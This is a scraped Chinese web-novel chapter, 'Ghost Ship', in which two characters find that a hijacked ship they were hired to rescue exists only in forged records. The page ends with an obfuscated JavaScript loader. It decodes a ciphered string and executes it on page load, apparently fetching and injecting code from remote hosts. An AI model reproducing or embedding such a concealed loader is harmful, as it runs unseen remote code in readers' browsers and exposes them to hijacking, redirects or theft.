首页
第七千七百零六章 幽灵船
返回

第七千七百零六章 幽灵船

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    林锐没有让那份委托在桌上停留太久。第三天上午,他把将岸叫回办公室,桌上摊开着一张打印出来的航线图。
    航线图上用铅笔圈出了那艘船最后发出信号的位置,以及周边几个可能被用于临时停靠或中转的港口。
    将岸在桌边坐下来,把那份最新的调查报告放在桌面边缘,没有打开。
    “那艘船最后发出信号的位置,在索马里以东大约三百海里的水域。
    那片海域的劫持事件通常会持续一段时间,劫匪会利用各种方式与船东保持联系以进行谈判,通过中间人传递信息,沟通赎金金额,确认支付方式。
    但这艘船在信号中断之后,确实再也没有任何一方提出过赎金要求。
    目前还没有人公开声称对这起劫持负责,也没有任何渠道传出关于船员状态或货物去向的信息。
    这种情况在常规劫持事件中极为少见,通常意味着劫持者的目标不是赎金。”
    林锐听完之后没有立即回应,把地图稍微转动了一下方向,使座标与桌面平行,用手指在信号消失的位置边缘划了一道线,落在那片海域和索马里海岸线之间。
    “所以那艘船现在有三种可能的状态:一是被劫持者带到了一个没有通讯覆盖的区域,二是已经离开了那片水域,三是被转移到了某个不需要对外联系的地方。
    无论是哪一种,它的轨迹都不会凭空消失。只要它在移动,就一定会在某些地方被看到、被记录或者被发现。”
    将岸没有反驳,从口袋里拿出一张折叠过的纸,展开,上面是几行手写的记录。
    “科本昨天截获了一段信号,信号很短,不到十秒,来源是索马里沿海的一处小型港口。
    那段信号没有加密,内容是一个简单的定位请求和方位确认,与劫持事件发生区域的已知坐标差异不大,而且信号发出的时间点,和那艘船最后发出信号的时间相差不远。
    目前还不能确认它是否来自那艘船,但如果那艘船确实进入了某个区域的港口范围,这段信号就有可能成为重新定位它的依据。”
    林锐的手指在地图边缘停了一下。“如果它真的进入了那片区域,那劫持它的就不是索马里海盗,而是某个在那片水域有固定据点的组织。
    那些组织通常不会在劫持后主动联系船东索要赎金,而是会先把船移到一个他们控制的地方,拆解或改装。
    如果是那样,时间窗口不会太长。一旦它被拆解,就再也找不回来了。”
    他停了一下,然后说,“把这段信号发给科本,让他试着根据信号特征反向追溯沿途的中继节点,看看有没有可能在信号来源区域附近找到对应的、正在运行的设备或人员活动记录。”
    将岸点了点头,把纸收回口袋里,但没有立刻站起来。“那委托呢?接还是不接?”
    林锐把地图从桌面上收起来,对折了一下,没有回答那个问题,只是说了一句:“先找到那艘船的位置,然后再决定下一步该怎么走。”
    将岸站起来,向门口走去。他走到门口时停了一下,没有回头。“如果那艘船已经不在那片水域了,怎么办?”
    林锐的声音从桌后传来:“那就找它最后出现的地方,然后从那里开始。”
    科本的消息是在第四天凌晨传来的。将岸在睡梦中被电脑的提示音惊醒,看了一眼屏幕上的简短标记,没有立刻打开附件,而是先穿上鞋,拿着电脑走进了走廊。
    他走到林锐的办公室门口时,里面的灯已经亮了——林锐坐在桌前,桌上摊着几份打印出来的报告,手边放着一杯已经凉透的咖啡。
    他看到将岸走进来,没有问发生了什么事,只是示意他把电脑放在桌面上。
    将岸把电脑打开,调出了科本发来的那份综合报告。
    报告开头是一段简短的摘要,用词克制,但每一条结论都像被反复验证过很多次——所有关于那艘船的航行记录、港口出入日志和GPS定位数据,经查证后均被确认为伪造。
    报告中没有使用“疑似”或“可能”这类措辞,每一段结论都附有完整的比对依据和参考来源。
    林锐把报告从头到尾看了一遍,视线在最后一页停留了一段时间,然后放下来。“港口监控呢?也没有任何关于这艘船的影像?”
    将岸把报告翻到第二页。“调取了所有涉及港口在这段时间内的监控记录,覆盖了船舶靠泊、离港和停泊期间的影像资料。
    没有发现任何与这艘船相符的船体特征、涂装颜色或船名标识出现在任何一段录像中。
    它在记录里进出过那些港口,在那些港口办理过手续,在那些港口装载过货物,但没有任何一个摄像头拍到过它。”
    将岸停了一下,然后说,“科本还调用了这艘船理论航线的卫星影像,也没有发现这艘船的存在。
    它似乎从来没有真实存在过,只存在于大量的纸质文件和电子记录中。”
    林锐没有说话。他把那份报告从头到尾又看了一遍,确认每一个数字、每一个时间点和每一段描述都能被支撑,然后把报告合上,放在桌角。
    “委托方付了高价,要求我们去救一艘不存在的船,还提供了完整的航行记录、船员名单和货物清单来证明它的真实性。
    如果这艘船真的不存在,那这份委托的目的就不是要我们去救它,而是要我们确认某种事情已经发生了——要么是有人想知道我们会不会接下这份委托,要么是有人想通过这份委托把我们引向某一个特定的方向。”
    他把手放下来,搭在桌沿上。“科本有没有查到这批伪造记录的源头?”
    将岸摇了摇头。“没有。这些数据看起来像是提前准备的,每一条记录都很完整,互相印证,看不出明显的剪辑痕迹。
    伪造这些记录需要至少几周到一个月的时间,需要有人提前拿到港口调度的原始数据,然后根据这些数据生成一套对应的假记录,把它嵌入到正常的记录流中。”
    林锐在桌边坐了一会儿。他没有再追问那些记录的来源或伪造者的身份,但他在脑中已经大致确认了他们面对的是一套提前准备好的虚假委托。
    那套委托从头到尾都经过周密策划,每一处细节都经过精心编排,而他们的调查已经触及了某个此前从未出现在记录中的空白区域。
    他开口问了一句:“委托方那边现在有没有新的动向?”
    将岸摇了摇头。“没有。他们发了委托之后就没有再主动联系过我们。
    我让人用试探性的口吻回了一封邮件,询问是否需要在出发前补充一些关于货物和船只结构的细节,以便提前做好准备。
    对方回复说一切按原定计划执行,没有提及任何额外的信息或调整。从他们的回应来看,显然他们也在等我们做出某种反应。”
    林锐坐在桌边,没有立刻回应。他保持着他习惯的坐姿——背挺直,双手平放在桌面上,目光落在那份已经被合上的报告上,但并没有在看它,像是在等待那份报告在桌面上完成它的最后一次沉淀,然后再决定下一步的行动方向。
    过了一会儿,他开口说:“先不回复委托方。告诉科本,让他顺着那些伪造记录的源头继续往下查,看看那些数据是从哪个节点开始被嵌入系统的。
    能查多少查多少,不用急着收尾。”将岸点了点头,站起来,把电脑夹在腋下,向门口走去。他走到门口时停了一下,没有回头:“如果那些记录的源头指向某个我们意想不到的方向呢?”
    林锐的声音从桌后传来,平稳但缓慢:“那就先确认那个方向,然后再决定怎么走。”
    第五天上午,将岸带着新消息走进林锐的办公室时,手里没有拿电脑,只拿着一张打印出来的纸。
    他把纸放在桌面上,没有急着解释,等林锐先看完。纸上列着四家公司的名字——四家在中东和北非地区有一定规模的私人军事公司,服务的领域覆盖运输护航、设施安保和人员营救。
    每一家公司名称后面都标注着一个日期和一个数字,数字在逐次递增,最后一家公司的报价已经接近委托方最初给三叉戟报价的八成。
    林锐看完之后抬起头。“他们找过四家,而且每一家的报价都越来越高,说明他们已经问了一圈,只剩我们还悬着。”
    将岸在对面坐下来。“我通过中间渠道确认了这个信息。几家公司的态度都很一致:他们接到的委托内容相同,但各自评估后都拒绝了。
    有的说风险评估不匹配报价,有的说船只信息存在多处疑点,有的直接没有给出明确理由。
    但有一点很明确——每一家都开始意识到,委托方提供的资料与他们自己掌握的船运信息之间,存在无法完全对齐的缺口。”
    林锐把那张纸放回桌面上。“那现在可以有更清晰的判断了:第一种可能,这是一个陷阱,但对方不会同时布下五根引信等在不同的地方,因为任何一家公司都有可能提前识破他并切断联系,所以这个可能性在逐渐降低。
    第二种可能,这艘船确实存在,但有人正在系统性地抹去它的真实痕迹,并且迫切地想要掩盖相关的一切。
    一个正常的船东不会在船被劫持后立刻伪造全套航行记录,更不会同时在多家公司之间分散委托。
    他这么做,说明他清楚自己正在做的事情经不起常规审查,也知道正常渠道无法为他处理这个任务,所以才会选择用高价来换取时间。”
    林锐停了一下,像是在给那段话留出足够的沉降空间,“如果连第一梯队的公司都拒绝了,那我们可能是他们能找到的、还在考虑接受委托的最后一家。”
    将岸听完后没有马上回应。“那我们应该接,还是继续观察?”
    林锐没有直接回答那个问题,但他开始在心里盘算。如果他们接下委托,就能接触到那些伪造记录背后真正的信息来源,也有可能在执行过程中发现那些被隐藏的货物。
    如果他们不接,他们就会错过验证那艘船是否真实存在的唯一窗口。
    林锐开口说:“这个委托的真正价值不在于那批货物,也不在于那二十二名船员。
    它的价值在于:如果那艘船真的存在过,那么伪造它存在痕迹的人,一定是因为有人不希望它在被找到之后出现在任何记录里。
    而我们现在要做的事情,就是在它被彻底抹去之前,找到它真正的航行轨迹。所以我们应该接下委托,但前提是:我们必须有自己的行动节奏,不能完全按照委托方提供的路线和时限来安排。”
    将岸没有提出反对意见。“什么时候回复他们?”林锐把那张纸从桌面上拿起来,折好放进口袋。
    “两天后。在这两天里,我们需要确认那艘船最后一次被目击到的真实位置,以及在那之后有无任何与之相关的影像或记录。
    如果能找到,回复时的底气就完全不一样了。如果找不到,我们至少也要确认,我们手上已经没有任何能够证实它存在的线索,才能决定下一步该怎么走。”
    将岸站起来,向门口走去。他走到门口时没有停步,但侧过头,像是想确认林锐刚才的话是不是已经完整了。
    林锐没有补充,于是他将门带上,让那份尚未成形的决定在走廊里被脚步的节奏牵引着,沿着已经确定的边缘,向它即将抵达的边界缓慢移动,直到它在那段距离的尽头与另一份尚未确认的信息相遇。
    精算师将岸回过头,对一个工作人员道,“准备联系雇主吧,老大已经决定了。”
    “可是,他刚才不是说再等等吗?”工作人员迟疑道。
    “你不了解他。如果没有兴趣,他根本不会多看一眼。老大的再等等,我们就必须走在前面,获取更多资料情报。
    还有什么比之间接触雇主,更能得到更多信息呢?”精算师将岸微微一笑。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();